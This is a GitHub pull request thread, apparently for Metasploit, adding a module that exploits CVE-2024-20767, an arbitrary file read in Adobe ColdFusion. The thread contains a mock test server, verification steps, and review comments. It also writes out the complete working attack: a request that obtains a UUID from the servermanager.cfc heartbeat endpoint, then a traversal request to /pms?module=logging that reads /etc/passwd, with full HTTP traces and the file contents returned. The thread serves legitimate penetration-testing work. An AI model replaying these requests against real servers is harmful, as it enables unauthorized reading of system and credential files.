Adobe ColdFusion Arbitrary File Read [CVE-2024-20767] #19050

jheysel-r7 · 2024-04-04T02:48:02Z

This PR adds a gather module to exploit an Arbitrary File Read Vulnerability in Adobe ColdFusion. Versions affected are including and prior to '2023 Update 6' and '2021 Update 12'.

When testing I number of different affected versions I was unable to get a UUID from hitting the endpoint specified by the original write up / the PoCs. The endpoint would only return a 500. There seems to be something wrong with my test environment (possibly trial / developer version?). I heard others were running into this issue as well.

So I decided to create a quick mock python server so I could test the happy path of the module and PR this to get some more visibility / see if anyone might know why the endpoint /CFIDE/adminapi/_servermanager/servermanager.cfc is 500ing.

mock_server.py

from http.server import BaseHTTPRequestHandler, HTTPServer

class MyHTTPHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat":
            self.send_response(200)
            self.send_header('Content-type', 'text/xml')
            self.end_headers()
            response_body = """
<wddxPacket><data><struct><var name='uuid'><string>1c49c29a-f1c0-4ed0-9f9e-215f434c8a12</string></var></struct></data></wddxPacket>"""
            self.wfile.write(response_body.encode('utf-8'))
        elif self.path.startswith("/pms?module=logging"):
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            response_body = "[\n  null,\n  root:x:0:0:root:/root:/bin/bash,\n  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin,\n  bin:x:2:2:bin:/bin:/usr/sbin/nologin,\n  sys:x:3:3:sys:/dev:/usr/sbin/nologin,\n  sync:x:4:65534:sync:/bin:/bin/sync,\n  games:x:5:60:games:/usr/games:/usr/sbin/nologin,\n  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin,\n  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin,\n  ]"
            self.wfile.write(response_body.encode('utf-8'))
        else:
            self.send_response(404)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write("404 Not Found".encode('utf-8'))

def run(server_class=HTTPServer, handler_class=MyHTTPHandler, port=8500):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting server on port {port}...')
    httpd.serve_forever()

if __name__ == "__main__":
    run()

Verification

List the steps needed to make sure this thing works

Start msfconsole
Do: use coldfusion_pms_servlet_file_read
Set the RHOST and datastore option
If the target host is running Windows, change the default FILE_PATH datastore options from /tmp/passwd to a file path that exists on Windows.
Run the module
Receive the contents of the FILE_PATH file

modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb

cdelafuente-r7

Thanks @jheysel-r7 for this module! I was able to find a vulnerable target (version 2023.0.0.330468 installed on Linux) and posted the output in a comment below. I left a couple of additional comments for you to review when you get a chance. Thanks!

cdelafuente-r7 · 2024-05-02T10:22:34Z

modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb

+
+    register_options(
+      [
+        Opt::RPORT(80),


Default ColdFusion port is 8500/TCP. Maybe this would be a good idea to use it as a default value?

cdelafuente-r7 · 2024-05-02T10:25:41Z

modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb

+    print_status("Attempting to exploit directory traversal to read #{datastore['FILE_NAME']}")
+
+    traversal_path = '../' * datastore['DEPTH']
+    file_path = "#{traversal_path}#{datastore['FILE_NAME']}"


It looks like the option name is FILE_PATH.

Suggested change

print_status("Attempting to exploit directory traversal to read #{datastore['FILE_NAME']}")

traversal_path = '../' * datastore['DEPTH']

file_path = "#{traversal_path}#{datastore['FILE_NAME']}"

print_status("Attempting to exploit directory traversal to read #{datastore['FILE_PATH']}")

traversal_path = '../' * datastore['DEPTH']

file_path = "#{traversal_path}#{datastore['FILE_PATH']}"

cdelafuente-r7 · 2024-05-02T10:30:10Z

modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb

+    # TODO: Once we have a better idea of the formatting the file is returned in edit this loop to trim the fat.
+    # TODO  From the screenshot in the write up it looks like it returns an array where the first element is null and
+    # TODO  the file contents are listed after that but each line is prefixed with a "_"


It seems to work with version 2023.0.0.330468 on Linux and this is the output I got:

msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run verbose=true rhosts=192.168.101.230 rport=8500 httptrace=true [*] Running module against 192.168.101.230 [*] Attempting to retrieve UUID ... #################### # Request: #################### GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1 Host: 192.168.101.230:8500 User-Agent: Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1 #################### # Response: #################### HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Thu, 02 May 2024 10:26:18 GMT <wddxPacket version='1.0'><header/><data><struct><var name='started_at'><number>1.71464426831E12</number></var><var name='monitoring_enabled'><boolean value='false'/></var><var name='es_port'><number>0.0</number></var><var name='port'><string>8500</string></var><var name='host'><string>192.168.101.230</string></var><var name='j2ee'><boolean value='false'/></var><var name='traking_enabled'><boolean value='false'/></var><var name='time_stamp'><number>1.71464557857E12</number></var><var name='display_name'><string></string></var><var name='instance_id'><string>192.168.101.230:cfusion:8500</string></var><var name='group_id'><null/></var><var name='name'><string>cfusion</string></var><var name='group_name'><null/></var><var name='jdk'><string>oracle</string></var><var name='https_enabled'><boolean value='false'/></var><var name='es_host'><string></string></var><var name='version'><number>1.0</number></var><var name='cluster_id'><null/></var><var name='uuid'><string>4c8c8f6a-198c-47fd-ba51-97a6aba6790c</string></var></struct></data></wddxPacket> [+] UUID found: 4c8c8f6a-198c-47fd-ba51-97a6aba6790c [*] Attempting to exploit directory traversal to read /etc/passwd #################### # Request: #################### GET /pms?module=logging&file_name=../../../../..//etc/passwd&number_of_lines=10000 HTTP/1.1 Host: 192.168.101.230:8500 User-Agent: Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1 uuid: 4c8c8f6a-198c-47fd-ba51-97a6aba6790c #################### # Response: #################### HTTP/1.1 200 OK Content-Type: application/json;charset=ISO-8859-1 Content-Length: 1481 Date: Thu, 02 May 2024 10:26:18 GMT [n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash, hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false, pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin, colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin, nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin, speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false, whoopsie:x:117:124::/nonexistent:/bin/false, cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin, kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin, usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin, tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin, uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin, _apt:x:105:65534::/nonexistent:/usr/sbin/nologin, systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin, systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin, nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin, irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin, backup:x:34:34:backup:/var/backups:/usr/sbin/nologin, proxy:x:13:13:proxy:/bin:/usr/sbin/nologin, news:x:9:9:news:/var/spool/news:/usr/sbin/nologin, lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin, games:x:5:60:games:/usr/games:/usr/sbin/nologin, sys:x:3:3:sys:/dev:/usr/sbin/nologin, daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin] [+] File content received: [*] [n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash, hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false, pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin, colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin, nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin, speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false, whoopsie:x:117:124::/nonexistent:/bin/false, cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin, kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin, usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin, tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin, uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin, _apt:x:105:65534::/nonexistent:/usr/sbin/nologin, systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin, systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin, nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin, irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin, backup:x:34:34:backup:/var/backups:/usr/sbin/nologin, proxy:x:13:13:proxy:/bin:/usr/sbin/nologin, news:x:9:9:news:/var/spool/news:/usr/sbin/nologin, lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin, games:x:5:60:games:/usr/games:/usr/sbin/nologin, sys:x:3:3:sys:/dev:/usr/sbin/nologin, daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin] [+] Results saved to: /home/msfuser/.msf4/loot/20240502122618_default_192.168.101.230_coldfusion.file_974829.txt [*] Auxiliary module execution completed

Thanks for posting that output @cdelafuente-r7! I've updated the parsing logic in e3d7dce

cdelafuente-r7 · 2024-05-03T13:16:48Z

Thanks for updating this @jheysel-r7! Everything looks good to me now. I tested against ColdFusion version 2023.0.0.330468 on Ubuntu 22.04.2 and verified the file content was returned. I'll go ahead and land it.

Example output:

msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run verbose=true rhosts=192.168.101.230
[*] Running module against 192.168.101.230

[*] Attempting to retrieve UUID ...
[+] UUID found: 4c8c8f6a-198c-47fd-ba51-97a6aba6790c
[*] Attempting to exploit directory traversal to read /etc/passwd
[+] File content received:
[*] n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash
[*] hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
[*] pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
[*] colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
[*] nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
[*] speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
[*] whoopsie:x:117:124::/nonexistent:/bin/false
[*] cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
[*] kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
[*] usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
[*] tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
[*] uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
[*] _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
[*] systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
[*] systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
[*] nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
[*] irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
[*] backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
[*] proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
[*] news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
[*] lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
[*] games:x:5:60:games:/usr/games:/usr/sbin/nologin
[*] sys:x:3:3:sys:/dev:/usr/sbin/nologin
[*] daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[+] Results saved to: /home/msfuser/.msf4/loot/20240503150717_default_192.168.101.230_coldfusion.file_831994.txt
[*] Auxiliary module execution completed

cdelafuente-r7 · 2024-05-03T13:18:51Z

Release Notes

This adds an auxiliary module to exploit an Arbitrary File Read Vulnerability in Adobe ColdFusion versions prior to '2023 Update 6' and prior to '2021 Update 12'.

jheysel-r7 added 2 commits April 3, 2024 17:25

Initial commit

b55c5f4

second commit with a couple TODOs

9a88ca3

smcintyre-r7 reviewed Apr 4, 2024

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jheysel-r7 changed the title ~~Adobe ColdFusion Arbitrary File Read (CVE-2024-20767)~~ Adobe ColdFusion Arbitrary File Read [CVE-2024-20767] Apr 5, 2024

smcintyre-r7 reviewed Apr 11, 2024

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jheysel-r7 assigned jheysel-r7 and unassigned jheysel-r7 Apr 17, 2024

jheysel-r7 added module docs labels Apr 17, 2024

jheysel-r7 added 2 commits April 26, 2024 09:04

Responded to comments

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Updated single quotes

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cdelafuente-r7 self-assigned this Apr 29, 2024

cdelafuente-r7 reviewed May 2, 2024

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Updated res.body parsing, responded to comments

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cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label May 3, 2024

cdelafuente-r7 closed this pull request by merging all changes into rapid7:master in 69cbddd May 3, 2024

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Adobe ColdFusion Arbitrary File Read [CVE-2024-20767] #19050

Adobe ColdFusion Arbitrary File Read [CVE-2024-20767] #19050

jheysel-r7 commented Apr 4, 2024 •

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cdelafuente-r7 commented May 3, 2024

cdelafuente-r7 commented May 3, 2024

Adobe ColdFusion Arbitrary File Read [CVE-2024-20767] #19050

Adobe ColdFusion Arbitrary File Read [CVE-2024-20767] #19050

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Release Notes

jheysel-r7 commented Apr 4, 2024 •

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